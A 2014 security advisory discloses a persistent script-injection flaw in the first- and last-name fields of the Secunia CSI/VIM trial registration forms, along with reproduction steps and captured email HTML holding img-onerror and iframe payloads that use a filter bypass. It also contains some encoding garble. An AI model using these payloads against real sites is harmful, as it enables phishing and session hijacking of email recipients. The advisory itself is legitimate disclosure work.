Document Title:

Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1272

Release Date:

2014-06-18

Vulnerability Laboratory ID (VL-ID):

1272

Common Vulnerability Scoring System:

3.9

Product & Service Introduction:

The Secunia CSI 7.0 combines scanning and patching, thereby meeting the requirements of both IT security and IT operations. This combination of
vulnerability intelligence, vulnerability scanning, patch creation and patch deployment is unique in the industry. The Secunia CSI is an authenticated
internal vulnerability scanner, capable of assessing the security state of practically all legitimate programs running on Microsoft Windows platforms
and supports scanning of Windows, Apple Mac OSX, Android and Red Hat Enterprise Linux (RHEL) platforms.

( Copy of the Vendor Homepage: http://secunia.com/vulnerability_scanning/ )

Secunia’s Vulnerability Intelligence Manager is vulnerability intelligence brought to you on time, every time, by Secunia’s renowned research team.
The Secunia VIM covers more than 50,000 systems and applications. The software vulnerability alerts are brought to you instantaneously, and threat
levels are prioritized, so you and your team can address the most critical vulnerabilities first. Comprehensive reporting lets you assess the current
state of your IT infrastructure, manage the risks, meet compliancy policy rules, and get an increased return on your security investment. With Secunia\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'s
powerful Vulnerability Intelligence and Management solution you can implement remediation strategies effectively and keep your organization secure.

( Copy of the Vendor Homepage: http://secunia.com/vulnerability_intelligence/ )

Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a medium severity vulnerability in the official Secunia CSI/VIM web-application service.

Vulnerability Disclosure Timeline:

2014-06-18: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Secunia
Product: CSI & VIM - Web Application & Online Service 2014 Q2

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

A persistent mail encoding web vulnerability has been discovered in the official Secunia website web-application for csi/vim account registration.
The vulnerability allows an remote attacker to inject own malicious script codes to the application-side of the vulnerable web-application service.

The vulnerability is located in the web input form of the registration to the csi and vim program. The user is able to register with persistent
script codes as first- & lastname.The affect becomes visible in the outgoing email of the web-server and could maybe affect other sections in
the profile. The attacker injects a payload and streams the malicious mail with own content to a secunia- or random-user. The filter of the
web-server is not validating the context of the mail on input through the website. The result is an application-side script code execution in
the mail header after the introduction word `Dear`. The mail includes the registered user (db stored) with the payload context and does not
encode the input.

The secunia web-server tries to encode the input and prevents it with `/`. The attacker can input multiple strings and between the parse with the `/`
the persistent script code execution occurs. The issue allows attackers to inject `frames`, `iframes`, `img` and different other html tags with
own script codes. The mails can be send to random user for phishing attacks with persistent attack vector or directly to well known secunia
customers via mail.

The security risk of the persistent input validation web vulnerability in the mail encldoing of the web-server is estimated as medium with a
cvss (common vulnerability scoring system) count of 3.9.

Exploitation of the mail encoding and web-server validation vulnerability requires low or medium user interaction and no privileged secunia vim/csi
application user account. Successful exploitation of the persistent mail encoding web vulnerability results in persistent phishing attacks against
customers or random email users, session hijacking, persistent redirects to malware and persistent manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] /products/corporate/vim/trial/
[+] /vulnerability_scanning/corporate/trial/

Vulnerable Parameter(s):
[+] First- & Lastname

Affected Section(s):
[+] Secunia CSI - Mail Notification
[+] Secunia VIM - Mail Notification

Note: A demo user can also become a registered secunia user with the same profile credentials which impact the risk to receive later compromised service email notifications or execution of payload in the user frontend/backend next to the db stored profile values.

Proof of Concept (PoC):

The persistent mail encoding web vulnerabilities can be exploited remote attackers without privileged application user account or with low privileged
application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided
information and steps below to continue.

1. Open the two vulnerable service registration formulars > http://secunia.com/products/corporate/vim/trial/ > http://secunia.com/vulnerability_scanning/corporate/trial/
2. Inject own script code (payload) to the vulnerable first- & lastname input field values
3. Submit the formulars to secunia
4. Check your registration postbox and review the first arriving email of secunia during the registration tral procedure for example
5. The persistent script code execution occurs in the mail next to the introduction word `Dear` x=First- & Lastname
6. Successful reproduce of the persistent mail encoding web-server vulnerability!

Note: A demo user can become a registered secunia user with the same credentials which impact also a risk to later email notifications or service values.
The attacker is able to send the mail to random new email or to other secunia customers email by a mailing list.

Sender Account: @response.secunia.com
Tester Account: [email protected]
Test Date: 08.05.2014 23:12 & 18.06.2014

PoC: Secunia CSI - Did you get off to a good start?

<tr><td id="empty30" align="left" height="30" valign="top" width="30"></td><td rowspan="12" colspan="1" id="view31" style="color: #000000;
font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px" align="left" height="300" valign="top" width="410"><div id="sc54725"
class="sc-view hidden-border inline-styled-view editor-outline" style="left: 30px; width: 410px; top: 30px; height: 300px; color: #000000; font-family:
Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px; overflow: hidden"><div class="co-border-style" style="">
<table bordercollapse="collapse" class="co-style-table" style="color: #000000; font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing:
0px; margin-top: 0px; margin-left: 0px; margin-right: 0px; margin-bottom: 0px" border="0" cellpadding="0" cellspacing="0" height="300" width="410">
<tbody><tr><td class="valign-able" valign="top"><span class="remove-absolute"><span style="color:rgb(85, 85, 85);"><font style="font-size:14px;">
<b>Dear \">%20"><img src=http://www.vulnerability-lab.com onerror="prompt(1337);<img src=http://www.vulnerability-lab.com onerror="prompt(1337);"></b>
<br><br>We just want to make sure that your installation went well.<br><br>We
know from experience that getting a good start is crucial to making the most of your free trial. Therefore it is very important to us that you are
satisfied with the installation and dona€™t encounter any problems during the first few days.<br><br>Please dona€™t hesitate to contact our Customer
Support Center at <a style="" href="mailto:[email protected]">[email protected]</a> if you need any assistance or have any questions.<br>
<br>Stay Secure,<br>Secunia</font></span>

… or

PoC: Kommende Secunia Partner Events in Deutschland

<table cellpadding="0" cellspacing="0" border="0" width="100%"><tbody><tr><td align="center" height="0"></td></tr><tr><td><table bordercollapse="collapse"
id="sc3124" style="table-layout: auto; background-color: #ffffff" cellpadding="0" cellspacing="0" align="center" border="0" width="800">
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style="left: 0px; width: 800px; top: 0px; height: 300px; overflow: hidden"><div class="co-border-style" style="border-width: 2px; border-style: none">
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cellspacing="0" border="0" height="300" width="800"><tbody><tr><td class="valign-able" valign="top">
<img src="http://img.en25.com/EloquaImages/clients/SecuniaApS/{6611650f-4a88-4ce0-bc2b-a62700267197}_ADN-PartnerEvents_email_bannerJune2014.jpg&quot;
title="" alt="" id="sc3310" class="sc-view sc-image-view editor-outline sc-regular-size" style="display: block" height="300" width="800">
</td></tr></tbody></table></div></div></td></tr><tr><td id="empty14" align="left" height="23" valign="top" width="30"></td><td id="empty15" align="left"
height="23" valign="top" width="45"></td><td id="empty16" align="left" height="23" valign="top" width="5"></td><td id="empty17" align="left" height="23"
valign="top" width="250"></td><td id="empty18" align="left" height="23" valign="top" width="210"></td><td id="empty19" align="left" height="23" valign="top"
width="28"></td><td id="empty20" align="left" height="23" valign="top" width="2"></td><td id="empty21" align="left" height="23" valign="top" width="1">
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align="left" height="23" valign="top" width="16"></td><td id="empty25" align="left" height="23" valign="top" width="113"></td><td id="empty26" align="left"
height="23" valign="top" width="46"></td><td id="empty27" align="left" height="23" valign="top" width="24"></td></tr><tr><td id="empty28" align="left"
height="78" valign="top" width="30"></td><td rowspan="1" colspan="11" id="view29" style="color: #000000; font-family: Arial; font-size: 12px; line-height:
18px; letter-spacing: 0px" align="left" height="78" valign="top" width="700"><div id="sc3219" class="sc-view hidden-border inline-styled-view editor-outline"
style="left: 30px; width: 700px; top: 323px; height: 78px; color: #000000; font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px;
overflow: hidden"><div class="co-border-style" style=""><table bordercollapse="collapse" class="co-style-table" style="color: #000000; font-family: Arial;
font-size: 12px; line-height: 18px; letter-spacing: 0px; margin-top: 0px; margin-left: 0px; margin-right: 0px; margin-bottom: 0px" cellpadding="0"
cellspacing="0" border="0" height="78" width="700"><tbody><tr><td class="valign-able" valign="top"><span class="remove-absolute"><b>
<span style="color:rgb(85, 85, 85);font-size:14px;">Sehr geehrte</span><font style="font-size:14px;color:rgb(85, 85, 85);"> </font></b>
<font style="font-size:14px;"><b style="color:rgb(85, 85, 85);">\"><img src="\"x\"">%20>\
"<\">%20"><img src=http://www.vulnerability-lab.com onerror="prompt(1337);<img src=http://www.vulnerability-lab.com onerror="prompt(1337);">"><iframe> \"><img src=\"x\">%20>\"<iframe src=a><iframe>2</b>
</font><br><br><div><font color="#555555" style="font-size:14px;">wir mA¶chten Sie auf anstehende Veranstaltungen unserer <b>Secunia Partner in Deutschland</b>
aufmerksam machen, auf denen Sie unsere LA¶sungen vor Ort erleben kA¶nnen:</font></div></span></td></tr></table></div></div></td><td align="left" valign="top"
width="46" height="78" id="empty40"></td><td align="left" valign="top" width="24" height="78" id="empty41"></td></tr><tr><td align="left" valign="top"
width="30" height="10" id="empty42"></td><td align="left" valign="top" width="45" height="10" id="empty43"></td><td align="left" valign="top" width="5"
height="10" id="empty44"></td><td align="left" valign="top" width="250" height="10" id="empty45"></td><td align="left" valign="top" width="210"
height="10" id="empty46"></td>

Reference(s):
http://secunia.com/products/corporate/vim/trial/
http://secunia.com/vulnerability_scanning/corporate/trial/

Picture(s):
…/1.png
…/2.png
…/3.png
…/4.png

Resource(s):
…/Secunia CSI – Did you get off to a good start.html
…/Kommende Secunia Partner Events in Deutschland.html

Solution - Fix & Patch:

The vulnerability can be patched by a secure parse and encode of all input fields with the vulnerable first- & lastname value in the registrations.
The registration formular (csi/vim) needs to be encode and a secure input restriction for special chars validation is required. Parse and encode also
the outgoing mail context and disallow html script code as user values to prevent further attacks.

Security Risk:

The security risk of the mail encoding vulnerability in the registration module is estimated as medium with a cvss of 3.9.

Credits & Authors:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]

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